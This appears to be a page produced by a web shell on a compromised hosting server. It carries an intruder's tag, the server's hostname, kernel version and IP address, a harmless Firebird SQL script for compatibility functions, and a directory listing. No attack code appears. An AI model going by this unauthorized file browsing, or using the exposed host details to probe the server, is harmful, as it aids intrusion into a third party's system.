Graybyt3 Was Here

Linux business121.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
192.64.117.91

udf_compat.sql

-- Create functions in current DB
create function div (
    n1 integer,
    n2 integer
) returns double precision
    external name 'udf_compat!UC_div'
    engine udr;

create function frac (
    val double precision
) returns double precision
    external name 'udf_compat!UC_frac'
    engine udr;

create function dow (
    val timestamp
) returns varchar(53) character set none
    external name 'udf_compat!UC_dow'
    engine udr;

create function sdow (
    val timestamp
) returns varchar(13) character set none
    external name 'udf_compat!UC_sdow'
    engine udr;

create function getExactTimestampUTC
	returns timestamp
    external name 'udf_compat!UC_getExactTimestampUTC'
    engine udr;

create function isLeapYear (
    val timestamp
) returns boolean
    external name 'udf_compat!UC_isLeapYear'
    engine udr;

-- Run minimum test
select 25, 3, div(25, 3) from rdb$database;
select pi(), frac(pi()) from rdb$database;
select timestamp '2020-01-29', dow(timestamp '2020-01-29'), sdow(timestamp '2020-01-29') from rdb$database;
set time zone 'utc';
select cast(((current_timestamp - getexacttimestamputc()) * 1000) as integer) as getexacttimestamptest from rdb$database;
set time zone local;
select timestamp '2019-01-29', isleapyear(timestamp '2019-01-29') from rdb$database;
select timestamp '2020-01-29', isleapyear(timestamp '2020-01-29') from rdb$database;

System Information
*ReClick For Close
File : BlackDragon /simple/function.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	0755	2024-03-03 10:46:02
..	dir	-	root/root	0755	2024-03-03 10:46:02
libudf_compat.so	application/x-pie-executable	134.15 KB	root/root	0755	2021-08-20 09:49:27
libudrcpp_example.so	application/x-pie-executable	470.46 KB	root/root	0755	2021-08-20 09:49:27
udf_compat.sql	text/plain	1.35 KB	root/root	0644	2021-08-20 09:48:20